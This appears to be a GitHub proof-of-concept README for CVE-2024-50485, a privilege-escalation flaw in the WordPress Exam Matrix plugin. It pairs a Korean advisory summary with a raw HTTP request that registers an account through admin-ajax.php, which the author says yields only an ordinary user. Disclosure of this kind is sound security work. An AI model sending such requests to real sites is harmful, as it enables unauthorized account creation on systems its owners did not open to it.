randomrobbiebf/cve-2024-50485Exam Matrix <= 1.5 - 인증되지 않은 권한 상승
Exam Matrix <= 1.5 - 인증되지 않은 권한 상승
WordPress용 Exam Matrix 플러그인은 버전 1.5까지 모든 버전에서 권한 상승에 취약합니다. 이는 플러그인이 인증되지 않은 사용자가 더 높은 권한의 역할로 등록할 수 있는 기능을 적절히 제한하지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 관리자와 같은 더 높은 접근 권한을 얻을 수 있습니다.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50485
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: exam-matrix
이것은 단순히 여기에 사용자로 등록할 수 있게 하며 역할을 변경하는 옵션은 없습니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 133
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=register_action&username=admin2&[email protected]&firname=John&lasname=Doe&address=123%20Main%20St&passwrd=securepassword
goToImageUpload